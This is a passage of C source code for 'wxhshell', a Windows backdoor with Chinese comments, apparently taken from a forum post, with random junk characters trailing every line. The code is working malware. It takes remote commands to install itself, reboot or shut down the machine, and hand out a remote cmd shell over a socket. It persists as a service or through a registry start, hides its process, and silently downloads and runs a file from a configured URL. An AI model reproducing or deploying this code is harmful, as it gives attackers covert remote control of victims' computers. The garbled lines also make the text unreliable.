  case '?': { "tm2YUG},s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W4X=.vr  
    break; K /. ;N.9  
  } >/-<,,<\C  
  // 安装 @m#7E4 +  
  case 'i': { [NyR$yD{  
    if(Install()) ^cX);koO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %e=BC^VW  
    else e6,/ i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vJK0>":G  
    break; `a  
    } c"6<p5j!  
  // 卸载 ,7<5dIdZ  
  case 'r': { ~6E `6;`  
    if(Uninstall()) #_|6yo}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bT0CQ_g21  
    else h_fA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fvl_5l  
    break; D/Bb)]9I  
    } {&G0jsA  
  // 显示 wxhshell 所在路径 YY'46  
  case 'p': { w {6kU   
    char svExeFile[MAX_PATH]; vz/.*u  
    strcpy(svExeFile,"\n\r"); epR7p^`7  
      strcat(svExeFile,ExeFile); 1 1O^)_|c  
        send(wsh,svExeFile,strlen(svExeFile),0); 1iig0l6\m  
    break; #r>  
    } D&:,,Dp  
  // 重启 a%V6RyT4qW  
  case 'b': { y/Paq^Hd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c?>@P  
    if(Boot(REBOOT)) 0LN"azhz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eG=Hyc  
    else { E2+O-;VN  
    closesocket(wsh); ALJ^XvB4V  
    ExitThread(0); auK*\Wjm?  
    } e@w-4G(;  
    break; ~*ST fyFw  
    } _e7 Y R+  
  // 关机 [y&yy|*\  
  case 'd': { aF]4%E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w<*6pP y  
    if(Boot(SHUTDOWN)) +VCG/J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #px74EeI\  
    else { y)CnH4{  
    closesocket(wsh); Hj2E-RwG  
    ExitThread(0); 0 z.oPV@  
    } 3E) X(WJY  
    break; criOJ-  
    } luY#l!mx3  
  // 获取shell <y7nGXzLK  
  case 's': { 7vF+Di(B  
    CmdShell(wsh); Rm>AU=  
    closesocket(wsh); Xy5#wDRC  
    ExitThread(0); NI,i)OSEN  
    break; 7A<X!a  
  } )7f;FWI  
  // 退出 #R-l2OO^]  
  case 'x': { nc4KeEl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #{-B`FAQ  
    CloseIt(wsh); J!YB_6b  
    break; 5%Hw,h   
    } qT5q3A(8  
  // 离开 suiO%H^t  
  case 'q': { ] -iMo4H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); avxr|uk  
    closesocket(wsh); FN0)DN2d}  
    WSACleanup(); waT'|9{  
    exit(1); Kg4\:A7Sa.  
    break; bys5IOP{]o  
        } KW`^uoY$  
  } 9EHhVi  
  } g3B%}!|  
zZR_&z<  
  // 提示信息 pL 2P .  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @ LPs.e  
} R2,Z`I  
  } wIeF(}VM  
ktF\f[  
  return; vLCyT=OB`  
} ,6@s N'c  
wGy`0c]v?  
// shell模块句柄 K@U[x,Sx  
int CmdShell(SOCKET sock) \USl 9*E  
{ &UrPb%=2H  
STARTUPINFO si; 2PZ#w(An&  
ZeroMemory(&si,sizeof(si)); q#D-}R_RN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5NGQWg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; inQ1 $   
PROCESS_INFORMATION ProcessInfo; {+Zj}3o  
char cmdline[]="cmd"; ^`iqa-1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^jh c(ZW"  
  return 0; GW{e"b/x  
} g&&-  
`O,^oD4  
// 自身启动模式 f(S9>c2  
int StartFromService(void) 94.|l  
{ Y(mnGaVn  
typedef struct  KEPNe(H  
{ *3@ =XY7  
  DWORD ExitStatus; (sDZ&R  
  DWORD PebBaseAddress; vd{ban9  
  DWORD AffinityMask; 'Hf+Y/`  
  DWORD BasePriority; S(2_s,J^  
  ULONG UniqueProcessId; fbg:rH\_  
  ULONG InheritedFromUniqueProcessId; 7! sR%h5p  
}   PROCESS_BASIC_INFORMATION; | -l9Z  
/qaWUUf  
PROCNTQSIP NtQueryInformationProcess; E|_J  
#M ;j*IBl*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Dbl3ef  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Nb3uDA5R  
WQiIS0BJ *  
  HANDLE             hProcess; ^tF lA)  
  PROCESS_BASIC_INFORMATION pbi; [b:0j-  
3QhQpPk) ,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~v>3lEGn*  
  if(NULL == hInst ) return 0; RoFoEp  
.~ O- <P#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A'6-E{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "UYlC0 S\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HkPdqNC&  
n:"0mWnL$y  
  if (!NtQueryInformationProcess) return 0; A<}nXHs-  
`a6AES'w$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :P8X?C63W]  
  if(!hProcess) return 0; 4|/}~9/  
8hV>Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xp*Wf#BF  
A1Es>NK[qW  
  CloseHandle(hProcess); XOL_vS24  
Suo%uD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PiIP%$72O  
if(hProcess==NULL) return 0; 7I/a  
VX:Kq<XwQ  
HMODULE hMod; #;0F-pt  
char procName[255]; z!G?T(SpA  
unsigned long cbNeeded; l@:&0id4I  
j4wsDtmAU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RF[Uy?es  
s5\<D7  
  CloseHandle(hProcess); sK@]|9ciQ  
dv cLZK  
if(strstr(procName,"services")) return 1; // 以服务启动 K-b`KcX  
3~%M4(  
  return 0; // 注册表启动 :sX4hZK =G  
} 9 lXnNK |]  
qTz5P  
// 主模块 9\Md.>  
int StartWxhshell(LPSTR lpCmdLine) >H5_,A}f  
{ }SFmv},Ij  
  SOCKET wsl; 8b"vXNB.f  
BOOL val=TRUE; ':|E$@$W  
  int port=0; ,`!>.E.  
  struct sockaddr_in door; \E1CQP-  
=F% <W7  
  if(wscfg.ws_autoins) Install(); 1* ?XI  
2)Q%lEm`SP  
port=atoi(lpCmdLine); ;TKsAU  
2WS Wfh  
if(port<=0) port=wscfg.ws_port; Tmk'rOg5  
;w;+<Rd  
  WSADATA data; 5mX"0a_Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >~O/ZDu/@  
/%F5u}eW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p4uN+D `.U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DfjDw/{U3L  
  door.sin_family = AF_INET; N C3XJ 4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A;TNR  
  door.sin_port = htons(port); qtjx<`EK>  
m 0]1(\%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Am<){&XT ]  
closesocket(wsl); qzWnl[3  
return 1; 6?'; ip  
} 8&:dzS  
V#+M lN  
  if(listen(wsl,2) == INVALID_SOCKET) { _D{{C  
closesocket(wsl); %_(^BZd  
return 1; B A i ^t  
} J u"/#@  
  Wxhshell(wsl); [U,hb1Wi3  
  WSACleanup(); )`#SMLMy~  
(g>&ov(d  
return 0; * $|9e  
a|ZJzuqo  
} v2ab84 C*  
,Vy_%f  
// 以NT服务方式启动 $\aJ.N6rb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) To;r#h  
{ yPf,GB"  
DWORD   status = 0; ~X-v@a  
  DWORD   specificError = 0xfffffff; Z*Fn2I4  
&23{(]eO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }}LjEOvL=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~3$:C#"Dl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ft$ 'UJ% j  
  serviceStatus.dwWin32ExitCode     = 0; m[%P3  
  serviceStatus.dwServiceSpecificExitCode = 0; :m0 pm@  
  serviceStatus.dwCheckPoint       = 0; { 3Qlx/6<  
  serviceStatus.dwWaitHint       = 0; g6H`uO  
brdY97s4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); n],"!>=+  
  if (hServiceStatusHandle==0) return; @Ll^ze&HI  
\98|.EG  
status = GetLastError(); {A\y 4D@  
  if (status!=NO_ERROR) pYj}  
{ gb26Y!7%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '/fueku  
    serviceStatus.dwCheckPoint       = 0; fS4 Ru  
    serviceStatus.dwWaitHint       = 0; EdCcnl?R6  
    serviceStatus.dwWin32ExitCode     = status; A<-3u  
    serviceStatus.dwServiceSpecificExitCode = specificError; A/OGF>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #Wt1Ph_;  
    return; ~"cqFdnO  
  } ,[u.5vC  
~,{nBp9*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qdZo cTf'  
  serviceStatus.dwCheckPoint       = 0; Z#@<|{eI  
  serviceStatus.dwWaitHint       = 0; %.s"l6 W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5ZjM:wrF|  
} RCMO?CBe  
,ysn7Y{Y  
// 处理NT服务事件,比如:启动、停止 .WS7gTw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7Pr5`#x#  
{ :+ AqY(Gz  
switch(fdwControl) ~Dj_N$_+9  
{ Lmc"q FzK  
case SERVICE_CONTROL_STOP: lmx'w  
  serviceStatus.dwWin32ExitCode = 0; O*1la/~m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u:>*~$f   
  serviceStatus.dwCheckPoint   = 0; ?ehUGvV2  
  serviceStatus.dwWaitHint     = 0; (y?`|=G-xT  
  { wTn"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )C>M74Bt  
  } b\+9#)Up@  
  return; 41o ~5:&  
case SERVICE_CONTROL_PAUSE:  KRh?{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?r R, h{~  
  break; ZRYHsl{F+  
case SERVICE_CONTROL_CONTINUE: 2w:cdAv$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _'P!>C!  
  break; I z)~h>-F  
case SERVICE_CONTROL_INTERROGATE: $,jynRk7q  
  break; l_ycB%2e^  
}; Gl5W4gW;&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ANd#m9(x  
} vUg o)C#<  
lLZ?&z$  
// 标准应用程序主函数 !{4bC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tkEup&  
{ =)2!qoE  
**Q K}j[D  
// 获取操作系统版本 8yCQWDE}  
OsIsNt=GetOsVer(); ,IG?(CK|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;%Zn)etu  
d<v)ovQJ]  
  // 从命令行安装 oBzjEv  
  if(strpbrk(lpCmdLine,"iI")) Install(); d+g+ {p>?  
_"sFLe{  
  // 下载执行文件 67dp)X  
if(wscfg.ws_downexe) { si|b>R&Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cz$q~)I$  
  WinExec(wscfg.ws_filenam,SW_HIDE); A@OSh6/{h  
} g}'(V>(  
~f] I0FK  
if(!OsIsNt) { 4vf,RjB-5  
// 如果时win9x,隐藏进程并且设置为注册表启动 <{Ir',;  
HideProc(); }aa ~@K<A  
StartWxhshell(lpCmdLine); n*i1QC  
} ' Y.s}Duj  
else @W*Zrc1NF  
  if(StartFromService()) c>e~$b8  
  // 以服务方式启动 qEB]Tj e[  
  StartServiceCtrlDispatcher(DispatchTable); S-)%#  
else \S"YLRn"  
  // 普通方式启动 9h 0^_|"  
  StartWxhshell(lpCmdLine); /(skIvE|  
!_=3Dz  
return 0; hh"=|c  
}
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只看该作者 1 发表于: 2006-10-10
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